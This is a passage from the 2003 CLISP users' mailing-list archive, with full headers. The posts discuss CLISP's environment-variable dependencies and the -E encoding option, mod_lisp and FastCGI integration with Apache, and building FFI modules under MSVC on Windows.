hope the first one at least is relatively easy to provide. That would at least allow me to build something that I'd expect to work in another environment. Does anyone know how to find out what environment a clisp version uses? From lisp-clisp-list@m.gmane.org Tue Jan 07 12:12:42 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18W05X-00017i-00 for ; Tue, 07 Jan 2003 12:12:40 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18W04R-0002Mv-00 for ; Tue, 07 Jan 2003 21:11:31 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18W04Q-0002Mk-00 for ; Tue, 07 Jan 2003 21:11:30 +0100 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 50 Message-ID: References: <15899.3694.903770.954351@isis.cs3-inc.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: environment dependencies Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 7 12:13:07 2003 X-Original-Date: 07 Jan 2003 15:13:50 -0500 > * In message <15899.3694.903770.954351@isis.cs3-inc.com> > * On the subject of "environment dependencies" > * Sent on Tue, 7 Jan 2003 09:29:18 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > - There should be a global variable containing a list of strings, > which are the names of environment variables used by the distributed > code. what is distributed code? > - The distributed code should record in another global variable > the set of values it has read (and is now using) for environment > variables. > - The distributed code should use that variable as a cache and avoid > reading the same variable from the environment twice. getenv is cheaper than the cache. > - There should be a setf method for CHANGING the value being used > (or setting a value not yet used). in CLISP, GETENV is SETF-able. > I hope the first one at least is relatively easy to provide. I am not sure whether we really need that. > That would at least allow me to build something that I'd expect > to work in another environment. Just pass -E utf-8 and all those encodings will use unicode. the other environment variables should not matter for batch processing. alternatively, you can set the -encoding* places in ~/.clisprc alternatively, you can make the init function of your image set them > Does anyone know how to find out what environment a clisp version > uses? search the manual and the impnotes for "environment var" or search the sources for getenv. in general, you can find out what libc calls are performed using ltrace(1). -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Do not tell me what to do and I will not tell you where to go. From lisp-clisp-list@m.gmane.org Tue Jan 07 13:21:57 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18W1AZ-0006bY-00 for ; Tue, 07 Jan 2003 13:21:55 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18W19K-00082E-00 for ; Tue, 07 Jan 2003 22:20:38 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18W19I-000823-00 for ; Tue, 07 Jan 2003 22:20:36 +0100 Path: not-for-mail From: "Johannes =?iso-8859-1?q?Gr=F8dem?=" Lines: 9 Message-ID: References: <87wuli8tzh.fsf@bird.agharta.de> <200301071316.h07DGtZs022602@van-halen.alma.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@main.gmane.org User-Agent: Gnus/5.090007 (Oort Gnus v0.07) Emacs/21.2 (i386--freebsd) Cancel-Lock: sha1:CO/usoaM+pLF628T/Btn8JT/WOA= Subject: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 7 13:22:07 2003 X-Original-Date: Tue, 07 Jan 2003 22:21:18 +0100 * "John K. Hinsdale" : > and is language independent. mod_lisp is too, as far as I can tell, it's just called mod_lisp because the author uses it with Lisp. -- Johannes Grødem From Joerg-Cyril.Hoehle@t-systems.com Wed Jan 08 04:13:56 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18WF5m-0001TE-00 for ; Wed, 08 Jan 2003 04:13:54 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 8 Jan 2003 13:13:19 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 8 Jan 2003 13:13:18 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FEECD985@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge@isis.cs3-inc.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] environment dependencies Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 8 04:14:13 2003 X-Original-Date: Wed, 8 Jan 2003 13:13:08 +0100 Don, I understand your concern about being reliably able to start a program in a possibly different environment and still have it work as expected. However I think the solution can only come from - knowing which dependencies on the environment exist. IMHO, this ought to be achieved by solely reading the documentation. It should not be achieved by tracing at run-time. Remember: a trace is a *single* test - One shot. As opposed to static information, like documentation, which instead covers all possible runs, all imaginable traces. clisp.html already mentions all internal getenv usage. Is something missing? Some environment dependencies are more complex than getenv() can tell: o E.g. is stdin/fd0 a (pseudo-)tty or a file? -> *standard-input* is bound to different stream types with different properties. o Same for stdout/2 o Is CLISP started as a script (the #! and *args* features) or not? - Some people have reported in clisp-list having been hit by this. >- There should be a global variable containing a list of [...] > environment variables used by the distributed code. This could be achieved using a wrapper around getenv(). But it looks like one should run trace/truss/ltrace instead of implementing this in Lisp. With the ability to restart from images, it becomes a complex dependency maintenance project ("was this value used for values not in the current image?"). >- The distributed code should record in another global variable >the set of values it has read (and is now using) for environment >variables. Considering restarting from images, I believe getenv() should not show functional behaviour. It ought to return the current value. >- The distributed code should use that variable as a cache and avoid >reading the same variable from the environment twice. This is specifically against the idea behind -E information not being looked up in e.g. the image file: the current environment may be different from the one where the image was saved. Bruno Haible thought CLISP should always adapt to the current environment. Similarly, the exact nature of (the value of) *terminal-io* is derived from current environment (pseudo-tty or file). >- There should be a setf method for CHANGING the value being used >(or setting a value not yet used). This may not be achievable in general. Sometimes a setting cannot be changed at arbitrary times (NLS directories come to mind) and you need special code to add this feature. When is it worth it? E.g. some time ago, -L was a startup option. Now the language can be changed at run-time. Valuable or superfluous? People's and YMMV. BTW, faq.html says: "This means that you are trying to read a non-ASCII character from a stream which has ASCII STREAM-EXTERNAL-FORMAT. The default is described in The Fine Manual." Maybe it could say: ... or that the interactive read eval print loop (REPL) is trying to print this character as the result of the evaluation to your terminal and finds that *standard-output* has this ASCII STREAM-EXTERNAL-FORMAT. See the Fine Manual [specific URL to -E section]." Just my thoughts, Jorg Hohle. From sds@gnu.org Wed Jan 08 07:10:25 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18WHqb-0002As-00 for ; Wed, 08 Jan 2003 07:10:25 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out006.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030108151017.HGUS16549.out006.verizon.net@loiso.podval.org>; Wed, 8 Jan 2003 09:10:17 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id h08FBd4e016651; Wed, 8 Jan 2003 10:11:39 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id h08FBIOD016647; Wed, 8 Jan 2003 10:11:18 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, don-sourceforge@isis.cs3-inc.com Subject: Re: [clisp-list] environment dependencies References: <9F8582E37B2EE5498E76392AEDDCD3FEECD985@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FEECD985@G8PQD.blf01.telekom.de> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out006.verizon.net from [151.203.33.199] at Wed, 8 Jan 2003 09:10:16 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 8 07:11:03 2003 X-Original-Date: 08 Jan 2003 10:11:18 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FEECD985@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] environment dependencies" > * Sent on Wed, 8 Jan 2003 13:13:08 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > BTW, faq.html says: > "This means that you are trying to read a non-ASCII character from a > stream which has ASCII STREAM-EXTERNAL-FORMAT. The default is > described in The Fine Manual." > Maybe it could say: > ... or that the interactive read eval print loop (REPL) is trying to > print this character as the result of the evaluation to your terminal > and finds that *standard-output* has this ASCII > STREAM-EXTERNAL-FORMAT. See the Fine Manual [specific URL to -E > section]." it does point to that specific section. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Those who don't know lisp are destined to reinvent it, poorly. From edi@agharta.de Wed Jan 08 10:59:16 2003 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18WLPs-0002Kd-00 for ; Wed, 08 Jan 2003 10:59:04 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 1EEDF260555; Wed, 8 Jan 2003 19:58:47 +0100 (CET) To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module References: <200301022100.h02L0eY3001060@van-halen.alma.com> <87ptrfxino.fsf@bird.agharta.de> From: Edi Weitz In-Reply-To: <87ptrfxino.fsf@bird.agharta.de> Message-ID: <87hecjzcwo.fsf@bird.agharta.de> Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 8 11:00:02 2003 X-Original-Date: 08 Jan 2003 19:58:47 +0100 Edi Weitz writes: > Hmm, that also rules out using mod_lisp's "Keep-Socket" feature > which is one of its highlights. You _must_ send a correct > Content-Length header before you send the body - kind of like > HTTP/1.1 Keep-alive. For the sake of completeness let me add that in 2.31 beta Marc has re-introduced the feature that you can "stream" your content to mod_lisp without the need of a correct Content-Length header. As I said, you can't re-use the Lisp/Apache socket this way (that'll need something more sophisticated as outlined by J=F6rg) but at least it is possible again. It wasn't in the latest released version (2.2). Cheers. Edi. From don-sourceforge@isis.cs3-inc.com Wed Jan 08 12:57:29 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18WNGS-0006Mz-00 for ; Wed, 08 Jan 2003 12:57:28 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h08KxZp25162 for clisp-list@lists.sourceforge.net; Wed, 8 Jan 2003 12:59:35 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15900.37174.958461.521299@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: environment dependencies In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 8 12:58:03 2003 X-Original-Date: Wed, 8 Jan 2003 12:59:34 -0800 (as usual, answering multiple messages at once) Hoehle, Joerg-Cyril: > clisp.html already mentions all internal getenv usage. Is something missing? I did eventually run across this. Thanks. > IMHO, this ought to be achieved by solely reading the documentation If this is unlikely to change then I suppose that's not bad. I was suggesting something in the image so you could write a program that would capture the relevant environment. You'd run that as part of your build process. Building in different lisp versions might give different environment variables. It should not be achieved by tracing at run-time. > Remember: a trace is a *single* test - One shot. As opposed to static information, like documentation, which instead covers all possible runs, all imaginable traces. I agree. I was not proposing that this info be determined by tracing. I was more interested in a code analysis approach, for instance if someone happens to know that clisp accesses environment only via one particular function call. > Some environment dependencies are more complex than getenv() can tell: > o E.g. is stdin/fd0 a (pseudo-)tty or a file? -> *standard-input* is bound to different stream types with different properties. > o Same for stdout/2 > o Is CLISP started as a script (the #! and *args* features) or not? > - Some people have reported in clisp-list having been hit by this. Very good points. I'd like to see all these collected into one place. That place should also say what the values are in those cases, and perhaps how to test which case you're in. With the ability to restart from images, it becomes a complex dependency maintenance project ("was this value used for values not in the current image?"). This raises another point. I'd really like to know which environment retains its effect across saves and which is reread at restart. > Considering restarting from images, I believe getenv() should not show functional behaviour. It ought to return the current value. Surely some of this is cached anyhow. You don't look up LANG on every write-char. Maybe not on every open. If the env is going to change while you're running it would be worth while to know when it's reread. I agree that you do have to reset some stuff at restart. I'd like to know what it is and what's read after that (and when). > BTW, faq.html says: > "This means that you are trying to read a non-ASCII character from a stream which has ASCII STREAM-EXTERNAL-FORMAT. The default is described in The Fine Manual." Actually I searched for "character" in impnotes and did not find anything relevant. I see that the relevant faq entry does contain the word character, but it still doesn't answer my question. The answer, which I propose to add to FAQ is that ascii is used when LANG is unset. I also suggest quoting this error message in addition to "invalid byte" Character #\u00B3 cannot be represented in the character set CHARSET:ASCII Sam Steingold: > > - There should be a global variable containing a list of strings, > > which are the names of environment variables used by the distributed > > code. > > what is distributed code? What I had in mind was that the modules go into the build should know what environment they use and when the build finishes you should end up with an image that puts these all into a list. > Just pass -E utf-8 and all those encodings will use unicode. > the other environment variables should not matter for batch processing. > > alternatively, you can set the -encoding* places in ~/.clisprc > alternatively, you can make the init function of your image set them Ah, the answers! Even better than setting env. Put that in FAQ too. (now rushing off to try them ...) From sds@gnu.org Wed Jan 08 14:41:29 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18WOt7-0006r8-00 for ; Wed, 08 Jan 2003 14:41:29 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out001.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030108224122.UTFS23484.out001.verizon.net@loiso.podval.org>; Wed, 8 Jan 2003 16:41:22 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id h08Mgs4e018219; Wed, 8 Jan 2003 17:42:55 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id h08MgsGV018215; Wed, 8 Jan 2003 17:42:54 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: environment dependencies References: <15900.37174.958461.521299@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15900.37174.958461.521299@isis.cs3-inc.com> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out001.verizon.net from [151.203.33.199] at Wed, 8 Jan 2003 16:41:22 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 8 14:42:02 2003 X-Original-Date: 08 Jan 2003 17:42:54 -0500 > * In message <15900.37174.958461.521299@isis.cs3-inc.com> > * On the subject of "[clisp-list] Re: environment dependencies" > * Sent on Wed, 8 Jan 2003 12:59:34 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > I'd really like to know which environment retains its effect across > saves none. > > Considering restarting from images, I believe getenv() should not > show functional behaviour. It ought to return the current value. > > Surely some of this is cached anyhow. environment is used to initialize some places, like -encoding*. > > Just pass -E utf-8 and all those encodings will use unicode. > > the other environment variables should not matter for batch processing. > > > > alternatively, you can set the -encoding* places in ~/.clisprc > > alternatively, you can make the init function of your image set them > > Ah, the answers! Even better than setting env. > Put that in FAQ too. FAQ already contains this information in the form of references to the relevant parts of the manual and the impnotes. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Takeoffs are optional. Landings are mandatory. From sds@gnu.org Wed Jan 08 20:36:25 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18WUQb-0002S9-00 for ; Wed, 08 Jan 2003 20:36:25 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out006.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030109043619.MPSQ16549.out006.verizon.net@loiso.podval.org>; Wed, 8 Jan 2003 22:36:19 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id h094bs4e019818; Wed, 8 Jan 2003 23:37:55 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id h094bsVe019814; Wed, 8 Jan 2003 23:37:54 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: References: <15900.37174.958461.521299@isis.cs3-inc.com> <15900.51013.596959.366600@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15900.51013.596959.366600@isis.cs3-inc.com> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out006.verizon.net from [151.203.33.199] at Wed, 8 Jan 2003 22:36:19 -0600 Subject: [clisp-list] Re: clisp -E Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 8 20:37:01 2003 X-Original-Date: 08 Jan 2003 23:37:53 -0500 > * In message <15900.51013.596959.366600@isis.cs3-inc.com> > * On the subject of "clisp -E " > * Sent on Wed, 8 Jan 2003 16:50:13 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > Looks like the help msg knows about -E but the command line parser > doesn't. Is this something that was not working 18 months ago? this feature (-E encoding) was introduced on 2002-03-18. -Edomain encoding has been there longer. (domain = file, terminal &c) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux When you talk to God, it's prayer; when He talks to you, it's schizophrenia. From Christian.Schuhegger@gmx.de Thu Jan 09 04:44:02 2003 Received: from mail.gmx.net ([213.165.64.20]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Wc2T-0004Jx-00 for ; Thu, 09 Jan 2003 04:44:01 -0800 Received: (qmail 21275 invoked by uid 0); 9 Jan 2003 12:43:52 -0000 Received: from p50808ea7.dip.t-dialin.net (HELO p450ntold) (80.128.142.167) by mail.gmx.net (mp022-rz3) with SMTP; 9 Jan 2003 12:43:52 -0000 Message-ID: <002501c2b7dc$e7181b00$0b01a8c0@p450ntold> From: "Christian Schuhegger" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Subject: [clisp-list] ffi under windows msvc6 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 9 04:45:02 2003 X-Original-Date: Thu, 9 Jan 2003 13:44:37 +0100 hello, i read the documentation for the: Extensions-2.3. The Foreign Function Call Facility which states that a foreign function description has to be compiled with clisp and then compiled and linked against lisp.a. which file is the equivalent file of lisp.a on a windows system? when i look into the msvc makefile i find the line: modular : lisp.a avcall.lib callback.lib clisp-link linkkit modules.h modules.o makevars but there is no description on how to build lisp.a (which should be lisp.lib anyway). a little hello world example would be really helpful to understand the ffi in clisp under windows. many thanks for any hints!! From Joerg-Cyril.Hoehle@t-systems.com Thu Jan 09 06:03:54 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18WdHk-0000UY-00 for ; Thu, 09 Jan 2003 06:03:52 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 9 Jan 2003 15:03:35 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 9 Jan 2003 15:03:03 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FEECDC2C@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Christian.Schuhegger@gmx.de Subject: [clisp-list] ffi under windows msvc6 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 9 06:04:04 2003 X-Original-Date: Thu, 9 Jan 2003 15:02:54 +0100 Hi, Christian Schuhegger >Extensions-2.3. The Foreign Function Call Facility >which states that a foreign function description has to be=20 >compiled with >clisp and then compiled and linked against lisp.a. which file is the >equivalent file of lisp.a on a windows system? You don't need a lisp.a. What I regularly do is add to the msvc = makefile a section like this: ################################ Joerg's gdi playground GDIOBJECT =3D H:\Code\gdi\gdi.obj lispg.exe : $(GDIOBJECT) $(REGEXDYNMODOBJECTS) $(OBJECTS) modules.obj = avcall.lib callback.lib iconv.lib sigsegv.lib data $(RM) lisp.ilk $(CC) $(CFLAGS) $(CLFLAGS) $(GDIOBJECT) $(REGEXDYNMODOBJECTS) = $(OBJECTS) modules.obj gdi32.lib $(LIBS) /link /out:lispg.exe editbin /stack:3145728 lispg.exe ################################ In other words, I modify the lisp.exe dependency and add some object = files. Of course, you must add one line defining your module to modules.h and = regenerate modules.obj Building lisp.a is a waste of space when you build CLISP yourself: It = just contains all the .obj again. It would be of some use for binary = distributions, allowing people to add modules without needing all the = CLISP sources. Who needs/wants that? >a little hello world example would be really helpful to=20 >understand the ffi in clisp under windows. I'll send you my MS-Word (can you read that?) text on building modules = with CLISP. Regards, J=F6rg H=F6hle. From lisp-clisp-list@m.gmane.org Thu Jan 09 06:53:37 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18We3r-0000Pa-00 for ; Thu, 09 Jan 2003 06:53:35 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18We24-0000jC-00 for ; Thu, 09 Jan 2003 15:51:44 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18We1y-0000iI-00 for ; Thu, 09 Jan 2003 15:51:38 +0100 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 18 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FEECDC2C@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: ffi under windows msvc6 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 9 06:54:02 2003 X-Original-Date: 09 Jan 2003 09:54:29 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FEECDC2C@G8PQD.blf01.telekom.de> > * On the subject of "ffi under windows msvc6" > * Sent on Thu, 9 Jan 2003 15:02:54 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > >a little hello world example would be really helpful to > >understand the ffi in clisp under windows. > I'll send you my MS-Word (can you read that?) text on building modules > with CLISP. it would be nice if you could produce a version that could be put on the CLISP web site. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Sufficiently advanced stupidity is indistinguishable from malice. From hin@van-halen.alma.com Thu Jan 09 07:17:09 2003 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18WeQY-00048d-00 for ; Thu, 09 Jan 2003 07:17:02 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id h09FGlwb017648; Thu, 9 Jan 2003 10:16:47 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id h09FGlQn017645; Thu, 9 Jan 2003 10:16:47 -0500 Message-Id: <200301091516.h09FGlQn017645@van-halen.alma.com> From: "John K. Hinsdale" To: edi@agharta.de CC: clisp-list@lists.sourceforge.net In-reply-to: <871y3pqeba.fsf@bird.agharta.de> (message from Edi Weitz on 07 Jan 2003 14:28:41 +0100) Subject: [clisp-list] FastCGI working; library available (was: Re: CLISP Apache module) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 9 07:18:02 2003 X-Original-Date: Thu, 9 Jan 2003 10:16:47 -0500 > From: Edi Weitz > Date: 07 Jan 2003 14:28:41 +0100 > Yep, Apache modules aren't trivial to do - although from the few small > ones I wrote I think that the Apache API is quite good. However, the > main drawback of something like mod_clisp would have been that you end > up with lots of different Lisp images as opposed to one image with > mod_lisp and also (?) with FastCGI. Hi all, following up on integrating CLISP w/ 